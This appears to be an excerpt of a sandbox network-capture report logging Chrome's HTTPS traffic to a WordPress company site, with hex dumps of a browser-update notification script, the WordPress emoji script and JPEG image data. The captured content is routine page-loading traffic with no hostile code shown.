2024-10-07 11:17:04 UTC	1369	IN	Data Raw: 27 2c 73 3a 27 53 61 66 61 72 69 27 2c 65 3a 22 45 64 67 65 22 2c 69 3a 27 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 27 2c 69 6f 73 3a 22 69 4f 53 22 2c 73 61 6d 73 75 6e 67 3a 22 53 61 6d 73 75 6e 67 20 49 6e 74 65 72 6e 65 74 22 2c 6f 3a 27 4f 70 65 72 61 27 2c 6f 5f 61 3a 27 4f 70 65 72 61 27 2c 65 5f 61 3a 22 45 64 67 65 22 2c 79 3a 22 59 61 6e 64 65 78 20 42 72 6f 77 73 65 72 22 2c 76 3a 22 56 69 76 61 6c 64 69 22 2c 75 63 3a 22 55 43 20 42 72 6f 77 73 65 72 22 2c 61 3a 22 41 6e 64 72 6f 69 64 20 42 72 6f 77 73 65 72 22 2c 78 3a 22 4f 74 68 65 72 22 2c 73 69 6c 6b 3a 22 53 69 6c 6b 22 7d 3b 74 68 69 73 2e 67 65 74 5f 62 72 6f 77 73 65 72 3d 66 75 6e 63 74 69 6f 6e 28 75 61 29 7b 76 61 72 20 6e 2c 75 61 3d 28 75 61 7c 7c 6e 61 76 69 67 61 74 Data Ascii: ',s:'Safari',e:"Edge",i:'Internet Explorer',ios:"iOS",samsung:"Samsung Internet",o:'Opera',o_a:'Opera',e_a:"Edge",y:"Yandex Browser",v:"Vivaldi",uc:"UC Browser",a:"Android Browser",x:"Other",silk:"Silk"};this.get_browser=function(ua){var n,ua=(ua\|\|navigat
2024-10-07 11:17:04 UTC	1369	IN	Data Raw: 6e 64 6c 65 7c 74 69 7a 65 6e 7c 73 69 6c 6b 7c 62 6c 61 63 6b 62 65 72 72 79 7c 62 62 31 30 7c 52 49 4d 7c 50 6c 61 79 42 6f 6f 6b 7c 6d 65 65 67 6f 7c 6e 6f 6b 69 61 7c 75 63 77 65 62 7c 5a 75 6e 65 57 50 37 7c 35 33 37 2e 38 35 2e 31 30 22 29 3b 72 2e 65 6d 62 65 64 64 65 64 3d 2f 22 51 74 57 65 62 45 6e 67 69 6e 65 7c 54 65 61 6d 73 7c 45 6c 65 63 74 72 6f 6e 2f 69 2e 74 65 73 74 28 75 61 29 3b 72 2e 6d 6f 62 69 6c 65 3d 28 2f 69 70 68 6f 6e 65 7c 69 70 6f 64 7c 69 70 61 64 7c 61 6e 64 72 6f 69 64 7c 6d 6f 62 69 6c 65 7c 70 68 6f 6e 65 7c 69 6f 73 7c 69 65 6d 6f 62 69 6c 65 2f 69 2e 74 65 73 74 28 75 61 29 29 3b 72 2e 64 69 73 63 6f 6e 74 69 6e 75 65 64 3d 28 2f 6e 65 74 73 63 61 70 65 7c 67 72 65 65 6e 62 72 6f 77 73 65 72 7c 63 61 6d 69 6e 6f 7c 66 Data Ascii: ndle\|tizen\|silk\|blackberry\|bb10\|RIM\|PlayBook\|meego\|nokia\|ucweb\|ZuneWP7\|537.85.10");r.embedded=/"QtWebEngine\|Teams\|Electron/i.test(ua);r.mobile=(/iphone\|ipod\|ipad\|android\|mobile\|phone\|ios\|iemobile/i.test(ua));r.discontinued=(/netscape\|greenbrowser\|camino\|f
2024-10-07 11:17:04 UTC	1369	IN	Data Raw: 61 29 29 7b 75 61 2e 6d 61 74 63 68 28 6e 65 77 20 52 65 67 45 78 70 28 22 4f 53 2e 22 2b 56 56 2c 22 69 22 29 29 3b 72 2e 6e 3d 22 69 6f 73 22 3b 72 2e 66 75 6c 6c 76 3d 52 65 67 45 78 70 2e 24 31 3b 72 2e 76 3d 70 61 72 73 65 46 6c 6f 61 74 28 72 2e 66 75 6c 6c 76 29 3b 72 2e 65 6e 67 69 6e 65 3d 27 69 6f 73 27 3b 76 61 72 20 61 76 3d 73 2e 61 76 61 69 6c 61 62 6c 65 5f 69 6f 73 28 75 61 2c 72 2e 76 29 3b 69 66 28 61 76 3c 31 32 26 26 4d 61 74 68 2e 72 6f 75 6e 64 28 72 2e 76 29 3d 3d 3d 31 31 29 61 76 3d 31 32 3b 72 2e 61 76 61 69 6c 61 62 6c 65 3d 7b 22 69 6f 73 22 3a 61 76 7d 3b 69 66 28 70 61 72 73 65 46 6c 6f 61 74 28 72 2e 61 76 61 69 6c 61 62 6c 65 2e 69 6f 73 29 3c 31 35 29 72 2e 6e 6f 5f 64 65 76 69 63 65 5f 75 70 64 61 74 65 3d 74 72 75 65 3b Data Ascii: a)){ua.match(new RegExp("OS."+VV,"i"));r.n="ios";r.fullv=RegExp.$1;r.v=parseFloat(r.fullv);r.engine='ios';var av=s.available_ios(ua,r.v);if(av<12&&Math.round(r.v)===11)av=12;r.available={"ios":av};if(parseFloat(r.available.ios)<15)r.no_device_update=true;
2024-10-07 11:17:04 UTC	1369	IN	Data Raw: 29 21 3d 31 3b 7d 69 66 28 72 2e 6e 20 69 6e 20 5b 22 63 22 2c 22 66 22 2c 22 6f 22 2c 22 65 22 5d 26 26 73 2e 6c 65 73 73 28 72 2e 66 75 6c 6c 76 2c 70 61 72 73 65 46 6c 6f 61 74 28 73 2e 76 73 61 6b 74 5b 72 2e 6e 5d 29 2d 31 29 3c 3d 30 29 72 2e 69 73 5f 73 75 70 70 6f 72 74 65 64 3d 74 72 75 65 3b 76 61 72 20 72 65 6c 65 61 73 65 73 5f 70 65 72 5f 79 65 61 72 3d 7b 27 66 27 3a 37 2c 27 63 27 3a 38 2c 27 6f 27 3a 38 2c 27 69 27 3a 31 2c 27 65 27 3a 31 2c 27 73 27 3a 31 7d 3b 69 66 28 72 65 6c 65 61 73 65 73 5f 70 65 72 5f 79 65 61 72 5b 72 2e 6e 5d 29 72 2e 61 67 65 5f 79 65 61 72 73 3d 4d 61 74 68 2e 72 6f 75 6e 64 28 28 28 73 2e 76 73 61 6b 74 5b 72 2e 6e 5d 2d 72 2e 76 29 2f 72 65 6c 65 61 73 65 73 5f 70 65 72 5f 79 65 61 72 5b 72 2e 6e 5d 29 2a 31 Data Ascii: )!=1;}if(r.n in ["c","f","o","e"]&&s.less(r.fullv,parseFloat(s.vsakt[r.n])-1)<=0)r.is_supported=true;var releases_per_year={'f':7,'c':8,'o':8,'i':1,'e':1,'s':1};if(releases_per_year[r.n])r.age_years=Math.round(((s.vsakt[r.n]-r.v)/releases_per_year[r.n])*1
2024-10-07 11:17:04 UTC	1369	IN	Data Raw: 6f 70 2e 6c 7c 7c 28 6e 2e 6c 61 6e 67 75 61 67 65 73 3f 6e 2e 6c 61 6e 67 75 61 67 65 73 5b 30 5d 3a 6e 75 6c 6c 29 7c 7c 6e 2e 6c 61 6e 67 75 61 67 65 7c 7c 6e 2e 62 72 6f 77 73 65 72 4c 61 6e 67 75 61 67 65 7c 7c 6e 2e 75 73 65 72 4c 61 6e 67 75 61 67 65 7c 7c 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 6c 61 6e 67 22 29 7c 7c 22 65 6e 22 3b 6f 70 2e 6c 6c 66 75 6c 6c 3d 6c 6c 2e 72 65 70 6c 61 63 65 28 22 5f 22 2c 22 2d 22 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2e 73 75 62 73 74 72 28 30 2c 35 29 3b 6f 70 2e 6c 6c 3d 6f 70 2e 6c 6c 66 75 6c 6c 2e 73 75 62 73 74 72 28 30 2c 32 29 3b 6f 70 2e 64 6f 6d 61 69 6e 3d 6f 70 2e 64 6f 6d 61 69 6e 21 3d 3d 75 6e 64 65 66 69 6e 65 64 Data Ascii: op.l\|\|(n.languages?n.languages[0]:null)\|\|n.language\|\|n.browserLanguage\|\|n.userLanguage\|\|document.documentElement.getAttribute("lang")\|\|"en";op.llfull=ll.replace("_","-").toLowerCase().substr(0,5);op.ll=op.llfull.substr(0,2);op.domain=op.domain!==undefined
2024-10-07 11:17:04 UTC	1369	IN	Data Raw: 73 68 6f 77 3d 6f 70 2e 6f 6e 73 68 6f 77 7c 7c 66 75 6e 63 74 69 6f 6e 28 6f 29 7b 7d 3b 6f 70 2e 6f 6e 63 6c 69 63 6b 3d 6f 70 2e 6f 6e 63 6c 69 63 6b 7c 7c 66 75 6e 63 74 69 6f 6e 28 6f 29 7b 7d 3b 6f 70 2e 6f 6e 63 6c 6f 73 65 3d 6f 70 2e 6f 6e 63 6c 6f 73 65 7c 7c 66 75 6e 63 74 69 6f 6e 28 6f 29 7b 7d 3b 6f 70 2e 70 61 67 65 75 72 6c 3d 6f 70 2e 70 61 67 65 75 72 6c 7c 7c 6c 6f 63 61 74 69 6f 6e 2e 68 6f 73 74 6e 61 6d 65 7c 7c 22 78 22 3b 6f 70 2e 6e 65 77 77 69 6e 64 6f 77 3d 28 6f 70 2e 6e 65 77 77 69 6e 64 6f 77 21 3d 3d 66 61 6c 73 65 29 3b 6f 70 2e 74 65 73 74 3d 74 65 73 74 7c 7c 6f 70 2e 74 65 73 74 7c 7c 28 6c 6f 63 61 74 69 6f 6e 2e 68 61 73 68 3d 3d 3d 22 23 74 65 73 74 2d 62 75 22 29 7c 7c 66 61 6c 73 65 3b 6f 70 2e 69 67 6e 6f 72 65 63 Data Ascii: show=op.onshow\|\|function(o){};op.onclick=op.onclick\|\|function(o){};op.onclose=op.onclose\|\|function(o){};op.pageurl=op.pageurl\|\|location.hostname\|\|"x";op.newwindow=(op.newwindow!==false);op.test=test\|\|op.test\|\|(location.hash==="#test-bu")\|\|false;op.ignorec
2024-10-07 11:17:04 UTC	530	IN	Data Raw: 65 64 7c 7c 6f 70 2e 61 6c 72 65 61 64 79 5f 73 68 6f 77 6e 29 29 72 65 74 75 72 6e 3b 6f 70 2e 73 65 74 43 6f 6f 6b 69 65 3d 66 75 6e 63 74 69 6f 6e 28 68 6f 75 72 73 29 7b 64 6f 63 75 6d 65 6e 74 2e 63 6f 6f 6b 69 65 3d 27 62 72 6f 77 73 65 72 75 70 64 61 74 65 6f 72 67 3d 70 61 75 73 65 3b 20 65 78 70 69 72 65 73 3d 27 2b 6e 65 77 20 44 61 74 65 28 6e 65 77 20 44 61 74 65 28 29 2e 67 65 74 54 69 6d 65 28 29 2b 33 36 30 30 30 30 30 2a 68 6f 75 72 73 29 2e 74 6f 47 4d 54 53 74 72 69 6e 67 28 29 2b 27 3b 20 70 61 74 68 3d 2f 3b 20 53 61 6d 65 53 69 74 65 3d 4c 61 78 27 2b 28 2f 68 74 74 70 73 3a 2f 2e 74 65 73 74 28 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 29 3f 27 3b 20 53 65 63 75 72 65 27 3a 27 27 29 3b 7d 3b 69 66 28 6f 70 2e 61 6c 72 65 61 64 79 5f 73 Data Ascii: ed\|\|op.already_shown))return;op.setCookie=function(hours){document.cookie='browserupdateorg=pause; expires='+new Date(new Date().getTime()+3600000*hours).toGMTString()+'; path=/; SameSite=Lax'+(/https:/.test(location.href)?'; Secure':'');};if(op.already_s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.4	49821	192.185.125.111	443	4176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:17:05 UTC	556	OUT	GET /2016/wp-includes/js/wp-emoji-release.min.js?ver=6.5.4 HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.2.1184566094.1728299822; _gid=GA1.2.2062370088.1728299822; _gat=1; browserupdateorg=pause; _ga_E694J4CV2M=GS1.2.1728299823.1.0.1728299823.0.0.0
2024-10-07 11:17:05 UTC	269	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:17:05 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Fri, 03 May 2024 21:06:15 GMT Accept-Ranges: bytes Content-Length: 18726 Vary: Accept-Encoding Content-Type: application/javascript
2024-10-07 11:17:05 UTC	7923	IN	Data Raw: 2f 2a 21 20 54 68 69 73 20 66 69 6c 65 20 69 73 20 61 75 74 6f 2d 67 65 6e 65 72 61 74 65 64 20 2a 2f 0a 2f 2f 20 53 6f 75 72 63 65 3a 20 77 70 2d 69 6e 63 6c 75 64 65 73 2f 6a 73 2f 74 77 65 6d 6f 6a 69 2e 6d 69 6e 2e 6a 73 0a 76 61 72 20 74 77 65 6d 6f 6a 69 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 68 3d 7b 62 61 73 65 3a 22 68 74 74 70 73 3a 2f 2f 63 64 6e 2e 6a 73 64 65 6c 69 76 72 2e 6e 65 74 2f 67 68 2f 6a 64 65 63 6b 65 64 2f 74 77 65 6d 6f 6a 69 40 31 35 2e 30 2e 33 2f 61 73 73 65 74 73 2f 22 2c 65 78 74 3a 22 2e 70 6e 67 22 2c 73 69 7a 65 3a 22 37 32 78 37 32 22 2c 63 6c 61 73 73 4e 61 6d 65 3a 22 65 6d 6f 6a 69 22 2c 63 6f 6e 76 65 72 74 3a 7b 66 72 6f 6d 43 6f 64 65 50 6f 69 6e 74 3a 66 75 6e 63 74 Data Ascii: /! This file is auto-generated /// Source: wp-includes/js/twemoji.min.jsvar twemoji=function(){"use strict";var h={base:"https://cdn.jsdelivr.net/gh/jdecked/twemoji@15.0.3/assets/",ext:".png",size:"72x72",className:"emoji",convert:{fromCodePoint:funct
2024-10-07 11:17:05 UTC	8000	IN	Data Raw: 75 64 38 33 63 5b 5c 75 64 66 66 62 5c 75 64 66 66 63 5c 75 64 66 66 65 5c 75 64 66 66 66 5d 7c 5c 75 64 38 33 65 5c 75 64 65 66 31 5c 75 64 38 33 63 5c 75 64 66 66 65 5c 75 32 30 30 64 5c 75 64 38 33 65 5c 75 64 65 66 32 5c 75 64 38 33 63 5b 5c 75 64 66 66 62 2d 5c 75 64 66 66 64 5c 75 64 66 66 66 5d 7c 5c 75 64 38 33 65 5c 75 64 65 66 31 5c 75 64 38 33 63 5c 75 64 66 66 66 5c 75 32 30 30 64 5c 75 64 38 33 65 5c 75 64 65 66 32 5c 75 64 38 33 63 5b 5c 75 64 66 66 62 2d 5c 75 64 66 66 65 5d 7c 5c 75 64 38 33 64 5c 75 64 63 36 38 5c 75 32 30 30 64 5c 75 32 37 36 34 5c 75 66 65 30 66 5c 75 32 30 30 64 5c 75 64 38 33 64 5c 75 64 63 36 38 7c 5c 75 64 38 33 64 5c 75 64 63 36 39 5c 75 32 30 30 64 5c 75 32 37 36 34 5c 75 66 65 30 66 5c 75 32 30 30 64 5c 75 64 38 Data Ascii: ud83c[\udffb\udffc\udffe\udfff]\|\ud83e\udef1\ud83c\udffe\u200d\ud83e\udef2\ud83c[\udffb-\udffd\udfff]\|\ud83e\udef1\ud83c\udfff\u200d\ud83e\udef2\ud83c[\udffb-\udffe]\|\ud83d\udc68\u200d\u2764\ufe0f\u200d\ud83d\udc68\|\ud83d\udc69\u200d\u2764\ufe0f\u200d\ud8
2024-10-07 11:17:05 UTC	2803	IN	Data Raw: 28 29 7b 76 61 72 20 6e 2c 75 2c 65 3d 63 2e 4d 75 74 61 74 69 6f 6e 4f 62 73 65 72 76 65 72 7c 7c 63 2e 57 65 62 4b 69 74 4d 75 74 61 74 69 6f 6e 4f 62 73 65 72 76 65 72 7c 7c 63 2e 4d 6f 7a 4d 75 74 61 74 69 6f 6e 4f 62 73 65 72 76 65 72 2c 61 3d 63 2e 64 6f 63 75 6d 65 6e 74 2c 74 3d 21 31 2c 72 3d 30 2c 6f 3d 30 3c 63 2e 6e 61 76 69 67 61 74 6f 72 2e 75 73 65 72 41 67 65 6e 74 2e 69 6e 64 65 78 4f 66 28 22 54 72 69 64 65 6e 74 2f 37 2e 30 22 29 3b 66 75 6e 63 74 69 6f 6e 20 69 28 29 7b 72 65 74 75 72 6e 21 61 2e 69 6d 70 6c 65 6d 65 6e 74 61 74 69 6f 6e 2e 68 61 73 46 65 61 74 75 72 65 7c 7c 61 2e 69 6d 70 6c 65 6d 65 6e 74 61 74 69 6f 6e 2e 68 61 73 46 65 61 74 75 72 65 28 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 53 56 47 31 Data Ascii: (){var n,u,e=c.MutationObserver\|\|c.WebKitMutationObserver\|\|c.MozMutationObserver,a=c.document,t=!1,r=0,o=0<c.navigator.userAgent.indexOf("Trident/7.0");function i(){return!a.implementation.hasFeature\|\|a.implementation.hasFeature("http://www.w3.org/TR/SVG1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.4	49822	192.185.125.111	443	4176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:17:05 UTC	565	OUT	GET /2016/wp-content/uploads/2017/08/IMG_4093_red-paint-removed.jpg HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.2.1184566094.1728299822; _gid=GA1.2.2062370088.1728299822; _gat=1; browserupdateorg=pause; _ga_E694J4CV2M=GS1.2.1728299823.1.0.1728299823.0.0.0
2024-10-07 11:17:05 UTC	236	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:17:05 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Wed, 23 Aug 2017 16:09:38 GMT Accept-Ranges: bytes Content-Length: 3824757 Content-Type: image/jpeg
2024-10-07 11:17:05 UTC	7956	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 f0 00 f0 00 00 ff e1 22 ea 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 09 01 0f 00 02 00 00 00 06 00 00 00 7a 01 10 00 02 00 00 00 0d 00 00 00 80 01 1a 00 05 00 00 00 01 00 00 00 8e 01 1b 00 05 00 00 00 01 00 00 00 96 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 28 00 00 00 9e 01 32 00 02 00 00 00 14 00 00 00 c6 01 3b 00 02 00 00 00 12 00 00 00 da 87 69 00 04 00 00 00 01 00 00 00 ec 00 00 02 e4 43 61 6e 6f 6e 00 43 61 6e 6f 6e 20 45 4f 53 20 35 44 00 00 00 00 00 f0 00 00 00 01 00 00 00 f0 00 00 00 01 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 4c 69 67 68 74 72 6f 6f 6d 20 34 2e 30 20 28 57 69 6e 64 6f 77 73 29 00 32 30 31 32 3a 30 37 3a 30 39 20 32 30 3a 34 30 3a 35 39 00 50 72 61 74 65 72 50 Data Ascii: JFIF"ExifMM*z(1(2;iCanonCanon EOS 5DAdobe Photoshop Lightroom 4.0 (Windows)2012:07:09 20:40:59PraterP
2024-10-07 11:17:05 UTC	8000	IN	Data Raw: e7 de b3 a9 88 e6 8a bf 41 d2 c3 a8 36 97 53 7a eb c2 d2 e9 81 2e ae 5c 3c 83 1c a0 f9 55 b3 8c 7e 5d 09 eb e8 b9 22 b1 b5 3d 36 3b 88 cc a3 6c 4c ab 9d fd 06 3d 4e 7d ab 44 c9 68 c6 b2 b1 92 f3 25 49 58 40 e5 c0 c1 3f 4f 4f f3 e9 4e 77 50 e7 4f d3 d4 49 2e 79 7c fc a3 dc 9a 87 2e 69 79 22 d4 79 63 ea 6a e9 9a 11 2c b2 cc 77 4d d3 7f 38 1e cb fe 7b d6 b4 d0 88 10 22 9e 9d 43 75 3e df e7 da b1 94 b9 a4 5c 55 91 42 66 2c 77 33 e3 03 95 1d ba f6 ff 00 3d 2b 35 ee 21 c8 f2 8e d6 db fd ee 4f af e1 56 95 c4 c8 b0 ef f7 be f0 3c 93 eb 52 c7 02 c4 b8 dc 4b 13 b8 f1 c7 4a 6d f6 04 8f 5b 2d a0 78 3e d9 64 9d d2 e6 ec 1f 95 d9 79 ce 72 36 ae 4e 08 c7 5e bd 6b 87 d6 fc 4e fe 28 be fb 1d e5 be db 59 63 64 41 d5 83 1c 60 f7 19 ce 31 e9 d6 94 e5 1a 6b 91 6e 28 45 cd f3 Data Ascii: A6Sz.\<U~]"=6;lL=N}Dh%IX@?OONwPOI.y\|.iy"ycj,wM8{"Cu>\UBf,w3=+5!OV<RKJm[-x>dyr6N^kN(YcdA`1kn(E
2024-10-07 11:17:05 UTC	8000	IN	Data Raw: fe 77 03 89 39 62 87 ab 21 e3 23 e9 e2 52 59 af 35 24 30 c1 0b 08 db 65 7a f1 00 6f f6 54 7c 4d d3 ed 3f c3 96 78 58 b0 ef 23 c5 36 83 a9 cd 9f 68 8e 18 25 da bc 0b a3 69 b2 cf 10 92 6b 94 2a e0 46 d4 8c 73 6e 3c a8 3e de f4 aa a9 ff 00 65 99 38 b2 4f 24 e2 24 38 21 fc 3c 5f d1 ff 00 72 e2 e4 c3 08 63 91 04 ce 7f d1 fc 7a 90 82 d6 fb 52 d2 a2 d0 ad 2e 29 72 ea b2 12 b2 32 db ca 14 ec 5b a9 7f 83 e1 65 71 f6 f3 2b 19 31 c8 4d fa 78 bf 43 8f 9a a5 8e 3b 7a b8 7f dc ff 00 c7 52 7d 43 c9 3e 6d b6 e2 b7 10 23 a2 ec 19 65 4a 00 3d 98 83 f8 66 58 cf 1b 70 4e 09 10 bf 44 d3 ae e2 b9 11 58 06 bc b9 7a ac ed 17 f7 2a 87 af c6 69 c8 ff 00 95 f6 72 8d 5e 58 78 7e bf 4c 7f a4 e4 68 b1 cc 64 1c 17 29 33 8b 56 b4 8a 7b 48 ef e4 8a 6d 45 36 f4 54 f3 8e 80 1f b5 5e bf f3 Data Ascii: w9b!#RY5$0ezoT\|M?xX#6h%ikFsn<>e8O$$8!<_rczR.)r2[eq+1MxC;zR}C>m#eJ=fXpNDXzir^Xx~Lhd)3V{HmE6T^
2024-10-07 11:17:05 UTC	8000	IN	Data Raw: f1 64 a5 a9 6b 0b 18 24 b5 17 b2 e2 b6 c2 bc c5 e6 68 c4 4e 39 50 11 80 95 0f 32 d6 fc d4 d2 d4 72 df 70 df 3c a0 cd b4 45 87 6a 1a 9b 4e 92 46 e7 92 b8 2a c0 f8 1c a8 c9 98 8b c7 ee 62 f4 6e 65 8b fd f6 ec a3 e8 34 cc e8 9b 16 d0 42 98 a6 49 0d 50 f6 c0 aa a9 15 41 3d c7 40 7a 61 0c 4c 9f ff d4 e7 89 02 ac ac 5c fe f4 fd 90 7b 0f 6c d2 90 ec 02 f8 d8 a4 85 d5 ca a1 f8 65 0a 01 ac 67 ed 28 07 63 94 e6 c5 c7 1a ad ff 00 87 fa cc e1 3a 36 86 bb b2 6b 16 30 4c e5 e1 d9 ad a5 0d 56 78 cf f7 64 9f 16 51 5f f5 b9 66 36 9b 38 91 e5 cf d3 38 ff 00 4b f8 bf d9 36 64 81 03 fd ca 84 b3 c9 6d 24 3a 84 67 83 db 90 93 30 fe 42 d5 57 ff 00 60 d4 3f ea e4 e5 8a ef 19 fe 2f a7 f1 fd 38 fa 7f ac 8e 3e 52 ee 4e 75 07 e6 d1 5c c4 42 c7 74 0b 04 1b d1 c6 d2 2f d0 d9 2d 06 4b Data Ascii: dk$hN9P2rp<EjNF*bne4BIPA=@zaL\{leg(c:6k0LVxdQ_f688K6dm$:g0BW`?/8>RNu\Bt/-K
2024-10-07 11:17:05 UTC	8000	IN	Data Raw: 00 00 2c 52 65 66 65 72 65 6e 63 65 20 56 69 65 77 69 6e 67 20 43 6f 6e 64 69 74 69 6f 6e 20 69 6e 20 49 45 43 36 31 39 36 36 2d 32 2e 31 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 76 69 65 77 00 00 00 00 00 13 a4 fe 00 14 5f 2e 00 10 cf 14 00 03 ed cc 00 04 13 0b 00 03 5c 9e 00 00 00 01 58 59 5a 20 00 00 00 00 00 4c 09 56 00 50 00 00 00 57 1f e7 6d 65 61 73 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 02 8f 00 00 00 02 73 69 67 20 00 00 00 00 43 52 54 20 63 75 72 76 00 00 00 00 00 00 04 00 00 00 00 05 00 0a 00 0f 00 14 00 19 00 1e 00 23 00 28 00 2d 00 32 00 37 00 3b 00 40 00 45 00 4a 00 4f 00 54 00 59 00 5e 00 63 00 68 00 6d 00 72 00 77 00 7c 00 81 00 86 00 8b 00 90 00 95 00 9a 00 9f 00 Data Ascii: ,Reference Viewing Condition in IEC61966-2.1view_.\XYZ LVPWmeassig CRT curv#(-27;@EJOTY^chmrw\|
2024-10-07 11:17:05 UTC	8000	IN	Data Raw: 72 65 65 6e 3e 0d 0a 09 09 09 09 3c 72 64 66 3a 53 65 71 3e 0d 0a 09 09 09 09 09 3c 72 64 66 3a 6c 69 3e 30 2c 20 30 3c 2f 72 64 66 3a 6c 69 3e 0d 0a 09 09 09 09 09 3c 72 64 66 3a 6c 69 3e 32 35 35 2c 20 32 35 35 3c 2f 72 64 66 3a 6c 69 3e 0d 0a 09 09 09 09 3c 2f 72 64 66 3a 53 65 71 3e 0d 0a 09 09 09 3c 2f 63 72 73 3a 54 6f 6e 65 43 75 72 76 65 50 56 32 30 31 32 47 72 65 65 6e 3e 0d 0a 09 09 09 3c 63 72 73 3a 54 6f 6e 65 43 75 72 76 65 50 56 32 30 31 32 42 6c 75 65 3e 0d 0a 09 09 09 09 3c 72 64 66 3a 53 65 71 3e 0d 0a 09 09 09 09 09 3c 72 64 66 3a 6c 69 3e 30 2c 20 30 3c 2f 72 64 66 3a 6c 69 3e 0d 0a 09 09 09 09 09 3c 72 64 66 3a 6c 69 3e 32 35 35 2c 20 32 35 35 3c 2f 72 64 66 3a 6c 69 3e 0d 0a 09 09 09 09 3c 2f 72 64 66 3a 53 65 71 3e 0d 0a 09 09 09 3c Data Ascii: reen><rdf:Seq><rdf:li>0, 0</rdf:li><rdf:li>255, 255</rdf:li></rdf:Seq></crs:ToneCurvePV2012Green><crs:ToneCurvePV2012Blue><rdf:Seq><rdf:li>0, 0</rdf:li><rdf:li>255, 255</rdf:li></rdf:Seq><
2024-10-07 11:17:05 UTC	8000	IN	Data Raw: 70 49 ec 0e 00 c5 79 4f 8f fc 2c de 1c f1 6a 47 34 6c d6 f7 0c 1d 59 06 ed c8 7b 0c fa 7f 9e b5 f7 99 0e 22 18 8a 32 c3 d4 fe bb 9f 2d 9c 53 9c 2b 2a b0 db bf 9f 43 ba ba fd b1 b5 0b 0f 08 da db db 59 db c3 24 29 b1 e2 48 c2 ab 80 00 3c 75 e7 19 ce 7a d7 d2 df b3 b6 a5 a8 f8 af f6 5a 5f 14 db 5e ad ae af e1 8b d5 b9 8a 54 90 ac ae 8c 5b cc 8c 73 ce 53 38 1e 8b ef 5f 3a c3 fb 36 df 7e d1 be 19 d6 3c 61 6f 79 e1 cd 16 1d 11 0c 50 d8 c5 fb b9 af 9a 35 dd f2 c4 38 5c 8f a6 4f 41 c5 7d 25 fb 19 fc 26 d3 6d 3f 66 8d 67 59 bc fb 55 c3 c7 01 02 2f 3f 2b 1b 3a 95 56 d9 d0 60 67 9e b5 ef 78 71 c1 f8 2c 0e 6d 2a b8 58 2d 9d a5 d7 56 7c f7 1c 67 53 a9 94 ce 8d 69 eb a5 d5 fc ae 8f 88 7f 68 4d 75 7c 61 e2 6b db ed d2 2a cd 23 1f 94 76 3c 72 3f 03 5c 4f c3 0f 11 c9 e1 Data Ascii: pIyO,jG4lY{"2-S+CY$)H<uzZ_^T[sS8_:6~<aoyP58\OA}%&m?fgYU/?+:V`gxq,mX-V\|gSihMu\|ak*#v<r?\O
2024-10-07 11:17:05 UTC	8000	IN	Data Raw: 90 c7 b5 a5 da 0e 39 c9 cf 24 8f 70 a2 a6 d2 7c 67 1d cc 1e 6d 9c 77 1a a5 e3 4b 10 89 59 70 90 b6 d2 70 4e 31 dc f4 39 c0 15 cd eb 1a 6d fc 9e 3d 86 6b e7 da 9a 8c 6d 12 08 dc a8 2c 4e 42 fc bc 75 18 27 1d 0f b5 2f 66 f9 5c 64 6c e6 93 56 3b 4b 1f 1c 49 a2 c8 b1 69 f6 73 5d bd d4 5b 6e 25 6d a3 cc 45 0a 48 58 cb 1f e2 c1 c9 1d b8 ae 46 d4 f8 8b 5c f2 b5 05 5b cb a6 d3 64 dc 1a 24 ca c3 82 54 e1 7a f2 30 3d 07 bd 77 16 5a 5c 7a 3c cb e4 e7 16 fb 58 9f bc 41 19 e0 1e fd bb f6 ae 67 52 f8 9f ab 7c 04 f1 05 d5 c6 97 79 0c 2d 23 32 c8 93 c7 b9 2e 11 81 20 11 c6 47 2d c7 5c d7 cf d6 ca 30 b5 2b 3a d2 8e b2 56 6f bd 97 f4 8b ab 8c ad 08 f2 c5 ed d0 fa 73 c2 3e 35 8f c6 5e 0a d1 35 ed 3e e9 3c c4 d9 1c aa 17 6b 26 31 95 fc 33 d3 9e 2b d1 be 29 68 b1 f8 db e1 a4 Data Ascii: 9$p\|gmwKYppN19m=km,NBu'/f\dlV;KIis][n%mEHXF\[d$Tz0=wZ\z<XAgR\|y-#2. G-\0+:Vos>5^5><k&13+)h
